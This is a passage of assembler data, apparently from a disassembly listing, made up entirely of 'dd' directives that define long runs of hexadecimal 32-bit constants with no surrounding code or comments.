dd 0F0981462h, 668A99FAh, 0F02407D4h, 509C639Ah, 85EC388Ah dd 96D1B0Eh, 32A5E475h, 0B68084ACh, 551F6F17h, 5491EE00h dd 2CDD237Eh, 0D01C0064h, 804AE588h, 0AA4C0D21h, 0B0328AB0h dd 6CD84760h, 5DE600C3h, 15701653h, 5613B32Fh, 24D0D9A7h dd 1D190391h, 0FF7B81h, 5F4F7612h, 0E89302B5h, 29378980h dd 8292FCh, 2F33EC22h, 98994654h, 7CC67A26h, 0A1C05145h dd 518716Ch, 0A1D5304Eh, 0E6EC49D7h, 746DC0E0h, 0DFC93289h dd 87C4203Fh, 5C5C4E19h, 86110026h, 50C23DBDh, 2DF1094Ch dd 804153F6h, 1BC6685h, 0C061B323h, 0C70EB57h, 1BB4004Ah dd 85444189h, 2C9CD4B5h, 80E1AB88h, 33D5F314h, 875CCBC3h dd 30994E74h, 6C00482Bh, 0A795EC48h, 48CFC90Ch, 72F8EDD8h dd 96DB7C62h, 0D5406008h, 0CE01705Eh, 9516E14Bh, 0E2C648BCh dd 94FB58h, 15DC22ECh, 7E1099FFh, 3202CC0Ah, 3542C109h dd 6E00905Bh, 4D63F00Ch, 0DB450551h, 81D3B3B5h, 7C246FF6h dd 764E0B60h, 4E70C4FAh, 65AC8A06h, 0B0A86C11h, 18ED758Bh dd 2B0FE991h, 0D9174159h, 550AD868h, 480DCD0Ah, 0ACC084F7h dd 29318F1h, 52146157h, 6851EB7Bh, 8AEFA503h, 0B867A12Bh dd 2471F8C4h, 427084FBh, 30D964F0h, 0BAA7C210h, 5D0340A8h dd 0A2702414h, 0DEA89900h, 0D2A08639h, 858488E1h, 0E01C2AB7h dd 0A7916704h, 0EB8A235h, 0EA6940F3h, 0E080640Ah, 7126E329h dd 0F18F0472h, 0BDD4798Dh, 0F02298h, 0A12276F9h, 606EDDE0h dd 8609EC75h, 0FBAF8B74h, 243F00A4h, 82B6CAAh, 8880BC93h dd 0EC460CD7h, 86F300E4h, 6D028DC9h, 7F242E1Eh, 70B0C3Eh dd 1CE464E2h, 0C4874773h, 434BBCD4h, 0A448682Bh, 0C980FCF9h dd 6F9B15A3h, 0D8C8E800h, 88E354DFh, 9C9275A1h, 0B480951Ch dd 0C4ABA689h, 8410600Eh, 0C853EA7Ah, 0ED006E8Ch, 3BC42058h dd 0F81E06h, 0F57B1910h, 0D9EAF4Eh, 4EFF098h, 8F2E10A2h dd 1F571727h, 0EFB38157h, 2DDD2F40h, 6FF09B0h, 206A8FBFh dd 0CD4B66EDh, 292B013Ah, 0A69D0ED7h, 25D42688h, 0F609403h dd 0CF5038F1h, 58972E40h, 44F9DE7Fh, 3B74F3FCh, 80A30062h dd 403AD758h, 0E5B80E97h, 7DE5F76Ah, 1D90E629h, 0FE40C4B4h dd 5F839076h, 136F0301h, 0E3E941EEh, 9C7CB6F2h, 0F0659C17h dd 6ADF7CC2h, 3DF46664h, 0AB807CCFh, 9D4628FCh, 0A5B003D5h dd 0B51284FEh, 787030C5h, 90D4BDh, 0FF10C19h, 8EA6234Dh dd 0CC11212Ah, 0CC85DE16h, 0E979F031h, 2E8C8608h, 40206690h dd 479B11F6h, 0AC4A6A15h, 45603AA8h, 50105C2Fh, 0A678BCBh dd 6249D8DCh, 463442ECh, 23744340h, 0B4641372h, 5D01E958h dd 0E83EDBE0h, 720D73D7h, 1C54033Ch, 0E48F7483h, 2900CCF3h dd 50B53FDFh, 824F9127h, 12705060h, 0EF1F02FDh, 0D76D0931h dd 0E093FC74h, 882C2C78h, 6501C61Bh, 277B0793h, 92C89C15h dd 0F7A135C7h, 0B6DC3030h, 570053ABh, 8D59D80Ch, 24CF4DE2h dd 280F139h, 0A569B051h dd 3B6520DCh, 8DDB8020h, 50123AAAh, 22D9BA93h, 7B20992Ch dd 0CC6BE4h, 0DA8036B0h, 0BC0B2677h, 0C09A052Dh, 922F7E06h dd 1E5922FCh, 8A4A4E0Bh, 0F9CECF7h, 9242B96Bh, 13C0FE4Fh dd 38CE3FC0h, 1C3ECD00h, 8361BC33h, 3B932531h, 5CBFD8A0h dd 6F1AF78Eh, 6258E82Dh, 707B64h, 0F5ABAF81h, 45FA37C6h dd 0E1006376h, 6C6776ACh, 1371E9FAh, 0DE5C6Fh, 0C2A6E482h dd 0C008347h, 3C32CB4Eh, 169CDF3h, 379474F5h, 624742C7h dd 24A0F40h, 24C51CDBh, 68CCCB07h, 6B0400ABh, 53AF7C67h dd 0C80120E8h, 468E0123h, 436D5B9h, 97C4CA00h, 0BEAE5B9Dh dd 0DA1ADD09h, 14A4A027h, 2D87E1B4h, 14C43879h, 22C79E07h dd 0EE406202h, 5496754h, 35C09566h, 61D4C0CAh, 189F6BBAh dd 0A81468h, 0B77B8207h, 23081B8Dh, 2252412Eh, 45607000h dd 48127944h, 0DC90A407h, 5B6E11h, 967B20DDh, 0E18F16h dd 8257D331h, 4ECEFAB6h, 5B7FEC00h, 1D0A0CDFh, 2472481Ah dd 0B33CBDC4h, 14E00018h, 0E4CB634Dh, 0C13B7FAh, 0FD219DA8h dd 787B3A00h, 0D4657620h, 0E4EF00F2h, 1825F317h, 0EC903937h dd 0FB8CF400h, 0EB5B7678h, 0DDE80023h, 3483244Ah, 1097BABCh dd 1F4B2784h, 807A441Dh, 7923D1F1h, 220502ACh, 15612BC9h dd 0FE17BCBDh, 0CDCC23D9h, 396930B7h, 0E50046DAh, 595B0963h dd 16C22A85h, 417C0F3Ch, 93527560h, 30D845EEh, 0ADCE3000h dd 513AE500h, 0E9FB6E8Ah, 4D9E2467h, 0E8C000E3h, 1CD0C650h dd 0A2B011Eh, 0F65DD600h, 742D6CB3h, 332A0723h, 8070E3C0h dd 4C27CDFFh, 80C7963Dh, 0D65E46F0h, 72CEE095h, 0F4BE008Eh dd 753C6EE6h, 5C009C06h, 0EFD026FAh, 144CD335h, 8654AE93h dd 55D13103h, 18023AB2h, 0AD71A25Ch, 0F888F9Dh, 0B8D980A4h dd 738B89DFh, 0DF98E9h, 4D4328F5h, 6ED74079h, 0C7A91E00h dd 0B95C2CD0h, 8B99C6D2h, 55F80852h, 48037F76h, 56D7F708h dd 8119034Dh, 4FEE7A5Fh, 0FD7D67C1h, 0F823D092h, 20914360h dd 0C86988B5h, 0E8026F0h, 2AE7AF46h, 599E0027h, 21DC2DC8h dd 9A00C0D9h, 5640DA55h, 0DE1D57D7h, 514F9B99h, 0CA2EC0B0h dd 96002273h, 83B592D4h, 508D94A9h, 3121895h, 47D0361h dd 91B8E864h, 9300300Ch, 6E9D363Dh, 60CAA2DEh, 518C90D6h dd 850ED504h, 4026ED01h, 5F621092h, 0C89F419h, 5D55D650h dd 3C009781h, 9398BAF9h, 6FA295h, 1F8B19Eh, 464C0ABBh dd 0D87B28C3h, 0CE6118D7h, 54D4F92Fh, 0DA058400h, 2A30A8CAh dd 3A2E1871h, 6BC820D7h, 643EACA4h, 0F4201421h, 0B5F6003Ch dd 299C6FF2h, 45CC00A5h, 0D96B7D46h, 5305B12Dh, 0CF235A40h dd 0DCC2BC60h, 6CBA04CCh, 0C00F0B79h, 46A62836h, 0AB3180F1h dd 63AF5C70h, 955515F7h, 560EA021h, 0F160A438h, 13358C0Ch dd 1402EB00h, 0B61016CCh, 605902BEh, 0B2C3F757h, 0D8E62448h dd 67AD9006h, 0C97795h, 0C8510D3Fh, 0B85AC0Fh, 0FF533903h dd 0F34C7957h, 7F828D1h, 6C144998h, 2EE30278h, 0E81683CFh dd 0A4264042h, 6A01A8F6h, 2ECDB325h, 0AC48CC0Ah, 0C8E01CA9h dd 39AF0013h, 69484B55h, 4EEC44B8h, 0C04688A8h, 0B11EF801h dd 50F6BE3Eh, 33805C44h, 0E8C8A92Bh, 8180A8C4h, 22470305h dd 7DBE5D4Eh, 0DF706903h, 40D0C5A2h, 64ED10h, 1457CA04h dd 0F7AD63EDh, 16F19C01h, 7287CD6Ch, 7B2001CCh, 552D03FAh dd 3E59EB57h, 99DED0CBh, 14CBA324h, 0CD735E80h, 0EC46062h dd 0A1ED3414h, 4FB42EC0h, 0F302A7DDh, 0FF04B26Ch, 9582C121h dd 20CE9851h, 17ADA180h, 0ACCFB994h, 0D5F20607h, 521D40Ah dd 0A8FC7AEAh, 0CA801893h, 56D831DDh, 90F00768h, 7422BF0Ah dd 0A145540Ch, 0B2C78E4h, 7CAE4A30h, 23C3070Fh, 210740FAh dd 0CD7D5AF6h, 0EDE88F00h, 2B5506F2h, 0A13B5934h, 18A2C826h dd 8443AF62h, 4E4E265Ch, 6F9E0620h, 9F000345h, 0BF376C31h dd 18DC6519h, 4178A3D7h, 3C44167Bh, 0F07545C8h, 0B1505C2Dh dd 9009DC6Ch, 80CFB709h, 0FEFDB5BCh, 9CB8992Ah, 0C20C0019h dd 909FCC03h, 5800BBFEh, 4683C430h, 3BA110Dh, 68E155F6h dd 2DE1D6DAh, 797ACBA2h, 79A0294Ah, 49503A98h, 397095A8h dd 0F9802B46h, 0DB3C5BFBh, 6C91CE1Ch, 832EC49Eh, 5D536020h dd 0A8DD008Ch, 3C4E01F6h, 83F802DFh, 44CC2032h, 0B85DB4A2h dd 0F62F708Eh, 20DC1193h, 54BC9F02h, 8C115B0h, 855C2050h dd 918B4F40h, 982B00ECh, 0BD9CEF43h, 0C63D2700h, 0FAFF4919h dd 5BB51EA7h, 0AAAD8AD2h, 2CB208A8h, 0F1DC7081h, 0B84CAFD7h dd 5275F002h, 0CC28CC53h, 17EF1974h, 4C54E051h, 428629DCh dd 442C2057h, 1C608B26h, 0C93031A9h, 0D4D50037h, 2A044F5Fh dd 263AF1E1h, 88B8522Dh, 4298A0A1h, 0E8B6115Dh, 0AAF82109h dd 0C8817429h, 0BA5B5663h, 82858029h, 33E566C0h, 0DA8C0701h dd 0E63FC20h, 348437E9h, 0C0364F27h, 126AC317h, 3EE400D2h dd 0ECC8D753h, 5F021F82h, 0A8C020E9h, 28E4901Eh, 41DE2C67h dd 504A84B4h, 2B7B0594h, 0AC678820h, 589B585Ah, 0AECF713h dd 458CECCh, 82F3B20Bh, 50203640h, 1CAB69Fh, 40A79AE7h dd 60B53429h, 0AB88DAB0h, 0D90700B8h, 6D59C371h, 77034930h dd 6560CB34h, 0E1F4D89Fh, 0C2230255h, 7A8A3598h, 7E18A8A0h dd 0B3009AF3h, 232B8DE5h, 51DACFCh, 0DD7093B7h, 9110C2CCh dd 0E0F62E2Fh, 3A0A8BB6h, 9476490Bh, 62863880h, 700FFB3h dd 0D75BDE77h, 24D609C5h, 64E8526Bh, 81674B3Ah, 0FAB0742Fh dd 88B6F034h, 31C0798Bh, 932B7EA3h, 537F0033h, 71AC3BC9h dd 723B1865h, 2C2C50D7h, 661FB8BAh, 54937BF4h, 0C08C5822h dd 0F842B89h, 0F30983A4h, 88557F04h, 851F49B4h, 0C46610D1h dd 68EFAD00h, 3C9ACAAh, 0DA626984h, 88957255h, 0CA1F05B4h dd 8840D5A5h, 8723B7FDh, 0A120086h, 0C3F8DE7Ah, 0D0B221BDh dd 94AD1A01h, 0C07B0E3Fh, 700B0C33h, 2C0CDBF7h, 0AC919529h dd 0B84DA000h, 2A558806h, 88D4D2h, 17B073EDh, 0C365A45Ch dd 0CC98137Dh, 58C49F05h, 0D02051B8h, 0EB2A32h, 8F2B4357h dd 4D8C7352h, 782C7D04h, 0CC88A56h, 0DD070084h, 185FF0C1h dd 297A5B67h, 0A000537Ch, 52D50A1Dh, 0A64B22h, 7AA2FA96h dd 0C59F55F3h, 0A9BF5800h, 0B5048CFFh, 7E41E7Eh, 74D706A6h dd 60119A1h, 0A4CA0B1Eh, 2180E3F6h, 0D40D7E8Bh, 6601FAEEh dd 0B65679C6h, 0D710E553h, 2CA07D90h, 0E9897Ch, 80A53581h dd 0EB0C2764h, 297EEF34h, 3E9F00E0h, 0C79290D4h, 5D000977h dd 280865A0h, 401FF517h, 0D40CA63Bh, 38A3F866h, 41B660FBh dd 2BB7CC01h, 8BF05C00h, 14D3A032h, 0B40550F7h, 0FFB8079Eh dd 0AA0609DFh, 0EAFD0074h, 8996DBF1h, 63D54918h, 0C3E8C19h dd 0DF7DF608h, 0F4002968h, 0CD0D96EEh, 325C921h, 2C1E0713h dd 38D12869h, 6F95E8C3h, 78B9B80Bh, 0D8100629h, 64F00B1h dd 810A054Bh, 1B77E494h, 616CF458h, 6729CA21h, 0E82EE6F4h dd 0E2F73072h, 4383D289h, 40D18B00h, 0B8C97E10h, 99E60A3Dh dd 205F72h, 70EE0A09h, 0AAECD9B1h, 13202F18h, 0B837D7C9h dd 7C5B058Fh, 20FA2CFDh, 6A1580ECh, 6C6E6600h, 594674D3h dd 83F0C41h, 0D7418CA6h, 31A88630h, 0C0DFF9AFh, 0A9511D99h dd 0A5004EC3h, 0D994C052h, 0C0DBF9D7h, 156AD21h, 0D6007D04h dd 0B85ED027h, 0F4F6CAh, 8B860947h, 0D5813929h, 22EB4CA3h dd 0F0A08D82h, 0CD25C2C7h dd 0BFFEFA00h, 219A2970h, 0F10039Bh, 0C64D4A4h, 0B679E175h dd 8681B00h, 0DFD6291Eh, 57EAE8CDh, 0C0109060h, 0A70600B0h dd 0D6A0403Ch, 0BD930002h, 0AF732548h, 5AFE61BCh, 39E2FD02h dd 46E17AB6h, 0E688AC68h, 0C4DB032Bh, 7EB667B0h, 50FF6930h dd 78A011AEh, 0B98D0073h, 88FD7D22h, 0C418248Fh, 5AC00E13h dd 0FBA340F7h, 3459B760h, 0A0300A75h, 1F5A2DD8h, 480976Ch dd 0C79E1EF7h, 148515B0h, 66006B1Ch, 90174BF0h, 0AF02E86Bh dd 0FE9721FDh, 2C33C0D2h, 4A18129Dh, 0EF540609h, 1B0069BAh dd 4131938Dh, 361E3CFh, 6FBE389Bh, 0B6901D09h, 290CC5A8h dd 0D9D66035h, 3B190775h, 3F032A4Fh, 0F5816E83h, 4C5E8900h dd 8DC38A79h, 0ABF700DDh, 6212887Fh, 78000C07h, 8C765EBDh dd 0FAFFA784h, 5CAE87Ah, 56D10591h, 1F8800FEh, 7AD9CD7h dd 0A789D811h, 871E0505h, 892C84B4h, 1D6302Ch, 0CE80A003h dd 0A0056659h, 0DC81C3h, 21FF19Ch, 2E4434A1h, 2B603F18h dd 0E470C1h, 14635427h, 0CB8DE0Dh, 4845FA00h, 46886A31h dd 0B5130A3Fh, 42F86F59h, 5F23B789h, 6D4905D3h, 0C075DF1Fh dd 0E8137D42h, 97BC598h, 8501B5E4h, 86F17EBh, 26CD01E7h dd 0A00D5024h, 9ED1ACh, 958735A4h, 0B4FA2DADh, 96F161C0h dd 0FA4CB786h, 0CBF200AAh, 0DCEA762Bh, 9A01F9FBh, 6C23EC7Dh dd 9420FF19h, 0CD188CFDh, 0BAA1305Dh, 4E3F00F5h, 0B24B9D21h dd 4D778FAEh, 98B86200h, 72585B4Ah, 8904CA6h, 0F08D92C0h dd 401909F1h, 0EE20D68Eh, 1376888h, 667C5980h, 32DC03Ah dd 0DBBBB072h, 0C10FA38Eh, 82291F06h, 0AA6C56B6h, 0B51138A0h dd 6792C600h, 63845573h, 2F45CD00h, 0A9327A3Bh, 14247347h dd 0FC74D806h, 2C6A0780h, 2E606067h, 0D6DD84D9h, 1C7000BBh dd 0FAA7DC7Ch, 0A3040F6Fh, 21C17D16h, 0A6892083h, 0A5DD0038h dd 6E05BBE1h, 149A0E84h, 2835Ch, 9140EC22h, 0A795D1h, 50ADABBh dd 5B902A07h, 0C4D71E00h, 8ED11CDFh, 841F5059h, 89D56AFEh dd 549A1454h, 2153B516h, 32EF296Ch, 3ED44894h, 0D2330C86h dd 3AA690E2h, 580097BDh, 1D0772AFh, 0F80382D6h, 98A2021Eh dd 0F091A3C2h, 1F902921h, 7081D714h, 6849EB9h, 0E5605C03h dd 87858h, 99C5042Eh, 5F395610h, 0BCDA7028h, 936CF658h dd 0BE7A9703h, 6A71F88Ch, 8B181h, 24BB8016h, 0E009E27h dd 0DAA4E758h, 493104B8h, 0CA0CC829h, 0CC310986h, 85E1E002h dd 82026A5Ch, 0C1D313B2h, 500E70Ch, 8E5480B6h, 0EC2A9184h dd 0B51A98B7h, 8091D854h, 42B18534h, 5C2E4818h, 0CF0C024h dd 0C8690F81h, 677BA9EAh, 0BDFC6909h, 0B16C18DAh, 1BDE0031h dd 0D809C37h, 5DF80501h, 96E1F724h, 0C5E3BC07h, 9C31FFD5h dd 0EAC88671h, 642A00BBh, 201003E5h, 3802DFBAh, 0B0F4B670h dd 3318A06Dh, 1661218h, 4B97153Fh, 0F0DAAF35h, 2300AE46h dd 0F33AF8D6h, 4CEA3829h, 2C0031B2h, 0E3882A08h, 22E9DCE2h dd 5C5F24E8h, 0D9115640h, 0E764002Ch, 88B18033h, 0AEECB0E5h dd 6CEE7B02h, 64603D94h, 0CA260130h, 5EEBA09Fh, 388DDC10h dd 0F65872E2h, 83F181BCh, 70C54278h, 0ADC80072h, 927BB50Bh dd 0A5608F20h, 54812D83h, 1989737Dh, 0E020FB84h, 3257BB06h dd 0C63EF700h, 226AE914h, 9C4A00D3h, 0BBA64B7Ah, 6401F074h dd 9F3F8528h, 5422D7EAh, 0C13A6066h, 580E40ACh, 20BCC2BDh dd 5EA863F3h, 6CD50047h, 6237E329h, 0B76D6DCh, 35342F4Ch dd 0B80041FDh, 2A090D72h, 40EC4DEFh, 0E078D84Ch, 7B397D4Ch dd 5CAD71E9h, 0D04CD061h, 67E35A80h, 281DDF16h, 0C7C13E9Ah dd 12467BB3h, 448DE834h, 5306AAA8h, 0FC23F591h, 4428B079h dd 5D58E012h, 622F801Ch, 0E2E4B1h, 0B7C5F651h, 4FDF9A10h dd 0A60758FAh, 74F8B885h, 0C440DAE4h, 6873771Eh, 0FB78D000h dd 483339DDh, 0A4F477F3h, 8E774D8h, 0E5516982h, 43765208h dd 0A900B3EFh, 1189AE13h, 733523h, 8EE64AF9h, 0C698FC0Ch dd 6713D09h, 7E30802Ah, 0F3BA691Ah, 7D1ECC63h, 403A9DE6h dd 0C76C20ABh, 0B401854Ch, 5EC68643h, 0B441F375h, 8448603Eh dd 0CB0E05F4h, 833CFF91h, 56E4D734h, 0B8219B16h, 0C0FA2808h dd 0EF167B98h, 25A2B980h, 728B4DA5h, 7C292A30h, 48494C5h dd 9A91CE5Eh, 0C4A0C045h, 0E5C2FF3h, 0EA6680E0h, 9728296h dd 647CA027h, 55281874h, 8020F64Ch, 0DB131483h, 7CA7777h dd 682F2135h, 5F734058h, 28D080F5h, 4F8FC0C4h, 0B44CECh dd 0CFAE729Eh, 0FE801BF1h, 0B0FA52h, 66F8165Ch, 0AB469Ch dd 42C51898h, 0C1D2B05Dh, 0E44CFA7Ch, 904370h, 0D83A6466h dd 0B9A4EF2h, 8FDCE32Ch, 0E5091496h, 0B5D1DFh, 0CC46B865h dd 5F3417A0h, 0A67C00ABh, 3D628E2h, 127CA3Ah, 64883A37h dd 41862F5Fh, 10B814E3h, 0E0000190h, 358084A5h, 0E1310Bh dd 7D6D8525h, 0FA2A1D05h, 0FB9A096h, 64020C9Bh, 0A0C22910h dd 802825FDh, 0CBCD9572h, 11641359h, 0BC407D91h, 0DE78DFh dd 0BE9302FCh, 74737B26h, 0F358CA06h, 49315Dh, 0D5C9ED3h dd 0E9C838BDh, 783F0200h, 0C7B5D8B4h, 9547054Fh, 8CE6E389h dd 9002D420h, 612D70F7h, 8518636Ch, 1C602CC9h, 1EB1159Ch dd 15006432h, 58E8146Fh, 70909A0Ch, 0A20423EAh, 1AF4B734h dd 21D90C82h, 0D03871DBh, 0EE0046C5h, 0AE974FD3h, 15DC1ACDh dd 2C9BFC0Bh, 2E435303h, 1FD01C4Dh, 0C891AF47h, 85862482h dd 0F090094Bh, 120353AEh, 5AD40610h, 91D10B05h, 0D80521F8h dd 0E5444045h, 2A350577h, 17EF6300h, 5E6E8539h, 0DB673C22h dd 0FF9D5786h, 604604Eh, 0DEB9631Dh, 0D449DC80h, 964F021h dd 0C0D8E37Fh, 599E5C86h, 8C1D947Eh, 0A5920D2Fh, 0D902E8D0h dd 4FD3AEAh, 58B8FA11h, 7E38000Fh, 0AB992F1h, 6D9C00A4h dd 9868DF10h, 0BC131FBDh, 9897FA70h, 126BCAA0h, 6CD40162h dd 717F551Ch, 2C40E425h, 919B3Dh, 0A4C2ED09h, 0B2DAFA2Dh dd 0FD0758F8h, 91F1A03Fh, 0D08112F4h, 0C994B14Ch, 0BB5A4A0Fh dd 0EE6B81F0h, 0BD4A12Eh, 87DA019Ah, 8BDCF6AAh, 406428DFh dd 5020D688h, 5F305CAh, 4FB937Fh, 3082F84h, 0F6AA8488h dd 0B53B4438h, 2C46D096h, 0CC975188h, 0FA0C21CCh, 202F0A82h dd 809CA2FAh, 0F4C0E828h, 8E4CC11Fh, 451B886Ch, 93C8C007h dd 8E269FF5h, 0B23BAC73h, 20D6496Dh, 7C9C28DCh, 9091B1B8h dd 60056288h, 0B3E1091Dh, 8BD77F0Ch, 58AEB193h, 982860E2h dd 0D93A0C34h, 0A621FEF4h, 0EA540C90h, 0B6185480h, 9159AF7Bh dd 4CB4A366h, 0AE806472h, 8DFAB7Eh, 940022E8h, 0F44CF723h dd 0A02D88E6h, 10DBA6B4h, 901CE8Bh, 115A2FAFh, 6E3FB24h dd 1C747749h, 2702AEB1h, 21968349h, 1733407Ah, 0B7C30344h dd 0FA6587B2h, 9C16D024h, 9181B58Bh, 285088FCh, 3E6773AAh dd 0BF0E7930h, 1E2E78A5h, 7FE41420h, 0CF208409h, 3E324065h dd 0E5592984h, 13E685E8h, 889C8749h, 220C1E80h, 4920D4DEh dd 4C58D434h, 7E709D01h, 362923B1h, 1F0600F0h, 0D21BC82Bh dd 0F403007Eh, 0ADA53F3h, 211C057Ch, 0A4490F85h, 4441Fh dd 27C279A3h, 78B7F986h, 0EF76EB03h, 0B67D9BCh, 54B66FCAh dd 0E400B092h, 73108498h, 0A9D46030h, 0F22D63Eh, 1248B4C5h dd 3BF85B40h, 7F49861Eh, 0C8304B98h, 4DE6D19h, 11BDD872h dd 0D75EC046h, 607F29Ch, 21F99103h, 0A7F8583h, 8B54B531h dd 98ACBCh dd 64949C27h, 2E24E339h, 0E097469h, 0F6A006F0h, 44B482A9h dd 7F060184h, 0F53ACA1Ah, 9191962Eh, 5F96D44Fh, 0FF4C102Dh dd 81AA1292h, 519C09C9h, 0A1F88464h, 1067688h, 21AEC4D8h dd 107CFA2Ch, 6D57FCh, 11326EB7h, 0F8594A34h, 0E6748304h dd 38B20592h, 0D3C1E458h, 0D52A2EACh, 29B0F70Ah, 48A025F4h dd 0D6B066E3h, 0D8632F2Eh, 0BD40561h, 94810868h, 60882EE2h dd 0F5128ED0h, 0F8532D24h, 6800BC8Eh, 4F9B6644h, 700A96Fh dd 90E21D0Bh, 48E6D5E9h, 6304100Ch, 0B254B3DCh, 43724F8h dd 8C7C1325h, 12022898h, 0C8C896C5h, 11009E70h, 0A4B7EBCBh dd 2E7303AAh, 38B42370h, 31CC4458h, 8D40A5F0h, 0D02F501Fh dd 0EF2B18BEh, 6A05B1B2h, 6CA83401h, 0FA692539h, 6D90BD1h dd 0F5FCFE8h, 0BE662BDCh, 9D631E00h, 7CB63364h, 0DE8F7E0Fh dd 0C4547B80h, 4C38CB1h, 816F0725h, 0CAA44009h, 5C45ABBCh dd 852C006Ch, 8487498Ch, 6680180Ch, 69E3A3E6h, 0A0DF2AF0h dd 0FB392268h, 3D321F00h, 74D80708h, 0AEE9C272h, 0EC6803F9h dd 6124CD91h, 0D74268E7h, 0C48C4474h, 44080970h, 5881BB84h dd 21923CFAh, 8ED4905Fh, 0C4003A20h, 0D5230346h, 1FB65C56h dd 82FE064Dh, 2EDD3D8Ah, 9600CC59h, 0A7030DCh, 0D7880035h dd 5108617Bh, 2C02BEF2h, 0DFA1978Dh, 8234B0A5h, 7DBB0021h dd 38C608CCh, 4F0075C2h, 29B34694h, 4691CACh, 64A93A3Bh dd 90B0F062h, 257E8D00h, 6C58086Bh, 59B96FFAh, 109DE20h dd 8B00BA21h, 36256F85h, 48D83F3Eh, 0A922B8B3h, 8FDCE708h dd 23AF80A8h, 8024F4AAh, 29218965h, 0C004CCh, 0EA38A7C5h dd 0BFA83DD7h, 0A00839h, 408F0106h, 4F8A507h, 8429C2BEh dd 7E8890F4h, 70014DC6h, 0F31589E9h, 0F740439Eh, 31A5B9D3h dd 2AC07236h, 2C403113h, 0BEE6C230h, 0E7B8402Dh, 448CB089h dd 0E560F6E0h, 9A266029h, 0C93C1C20h, 1D57C00Eh, 3F8B33A7h dd 0E3F9AF11h, 0B247660Eh, 0B9302800h, 247B35C8h, 0FBA10413h dd 902A2C20h, 640B38F7h, 38C85A00h, 2107114Bh, 0E30B70B8h dd 287165Dh, 44652F9Ch, 28F525C0h, 0E6183C18h, 0F30028B0h dd 0DACF2F5Eh, 59D3F605h, 0B84D680Bh, 0B7226848h, 0A8F74F0Eh dd 294C8072h, 2E6D008h, 0C7B8AA35h, 908151FCh, 7093140Ah dd 0C098F11Ch, 67813E44h, 0A5128910h, 7DE8002Fh, 51FAF5Fh dd 0CBA0D71h, 0FA57CA04h, 0ECC1F8A9h, 420F9E8h, 86F98B67h dd 7CB11542h, 4C08FCAh, 0F7C2C92Eh, 0F1348086h, 2D75B843h dd 0E090712Bh, 41D24D1Fh, 8E90B8D1h, 3D5F470h, 922E4977h dd 91D9C3BEh, 0CC7C304Fh, 7455B314h, 30404B64h, 6CA2AC20h dd 4F0600BDh, 77EBD325h, 3701B183h, 28916A16h, 93FCC980h dd 0ACD752F9h, 0CA0FB2Dh, 1C4A84B8h, 0A685B1Dh, 81A6DB80h dd 1F34B5CAh, 8F9E1553h, 0D70F0D1Fh, 0C5D91A8Ch, 0AF68AC00h dd 0CF2C2B50h, 0D439506Eh, 6910192h, 0D4B97772h, 158395Fh dd 829E2866h, 1C710887h, 110089A6h, 5DDA00B4h, 95C3E68Fh dd 173800E2h, 13798B37h, 0FD007311h, 92EC3C16h, 30DBA027h dd 0E9397BFAh, 467FCC0Ah, 876AB01Fh, 0C2907E54h, 0E3772CA6h dd 8E94F877h, 0EB440F14h, 0C3A0B64Eh, 576612E2h, 64A2C74h dd 80892516h, 0C378A0E2h, 387890Bh, 0C92AA897h, 8CFDB694h dd 0B07E7244h, 4056A34Ah, 0DC7D1005h, 0DD823h, 3D306D19h dd 4C54F1FAh, 0C1800505h, 848C2453h, 0F52A0013h, 0CBD92692h dd 38F23448h, 0FCE78802h, 501CFB7Dh, 40549654h, 591E77ECh dd 13D681Ch, 97C5BCC0h, 244E540h, 4A7EDEB8h, 0BC863777h dd 0F519E18Ah, 0F6412C22h, 0E918402Ah, 7D70DAB8h, 41FCAA26h dd 37905900h, 90FD2A0h, 5DEEC567h, 0DD98E090h, 1CFC5A02h dd 60D9DF49h, 616B5C3h, 172F2781h, 0B618787Fh, 0D7615F7Ah dd 0E9B16F93h, 0C4E8D056h, 873E0A9Ah, 5C1A0726h, 6F6253C6h dd 25ECE070h, 485962E4h, 9121447Bh, 6120CFBh, 3C000071h dd 804D562Ah, 51320072h, 0F3915A0Fh, 0E92F40D8h, 0BCA80A8Bh dd 0A8D02964h, 22076824h, 0CD00DDF7h, 4BC2C4C8h, 0C9C6E3h dd 967B8A59h, 3847991Fh, 0D90B867Eh, 0C2693112h, 0EB0041C8h dd 9A0CFAD0h, 1A89370h, 7E661E59h, 7A3E60A0h, 0FC9B2902h dd 0C256DF81h, 8F387950h, 4C478F58h, 0F8369075h, 0F20E9356h dd 60319B80h, 495BF992h, 47C0EDCh, 0AAC284D5h, 0B4F9722Ah dd 716CEF01h, 43D074C7h, 639A033Eh, 245A065Eh, 0E9225598h dd 80778D2Fh, 271F2F8h, 3920091h, 7F07392Ah, 0D4E886AFh dd 0F8406545h, 29ECA71h, 871E0858h, 9CD01682h, 0AF40B89Ch dd 2D9BA9Dh, 719CA2BEh, 20C05CDFh, 8B27DBBFh, 7D182454h dd 0F51458B2h, 0F6245CFBh, 0FD804098h, 0D70086E1h, 3C78E5B9h dd 89F541h, 53850A50h, 9139E421h, 40A0E252h, 0C0A1F0C4h dd 93A4500Dh, 0F5E2916Ch, 0ABE01E6Fh, 99B09871h, 3DD070E5h dd 2A0F87A5h, 5B82AF36h, 18F8181Dh, 47422494h, 41126037h dd 4C050080h, 0BE9EC08Fh, 9200CAB8h, 9566EB60h, 0B351E61h dd 0DB9657EAh, 0E7587466h, 0D9FB1A10h, 0B8E84051h, 207A4CB3h dd 7B9441C0h, 0A509E00Ah, 68860DD4h, 57EDDACh, 0D5565422h dd 0F5600457h, 6C8B236h, 2A605ABCh, 0BD9F0011h, 79C20A19h dd 0C60023A2h, 5E4EC357h, 0EAABA99h, 4B55F290h, 0EF6694C0h dd 0E01E0D2Fh, 0F500B8DEh, 64893CD1h, 0BA5CB45Fh, 73CD2400h dd 49D809DAh, 2F462B07h, 0C3831D0Ch, 0B02A8189h, 7C9C4050h dd 2217036Eh, 26D31C1h, 4CE096E2h, 0D0015316h, 0FAAD2E34h dd 9032E0F9h, 5014A80h, 64027B65h, 4898DED7h, 0A28C8480h dd 1CA88F08h, 0DE222D42h, 3CDF3139h, 3E30090h, 0CAEE2F39h dd 0F57EC40h, 0DF75617Fh, 0DAD7A7C0h, 0C32D1CACh, 84C020FAh dd 0E8A49755h, 8108058Fh, 80D41D41h, 6929E3FCh, 0A7E4E60Eh dd 54B28167h, 0A8316347h, 0EA738C74h, 0F4C30A1Dh, 44F4C823h dd 390BD84h, 707D5A61h, 0E6B5A8CDh, 8A3D0033h, 0DCCADA51h dd 20009F4Ah, 0B6722C81h, 9112A28Dh, 3DA783ACh, 9D809C0Eh dd 1D019656h, 0CDD7DA1Ah, 302E2586h, 927317C0h, 94D25A4Bh dd 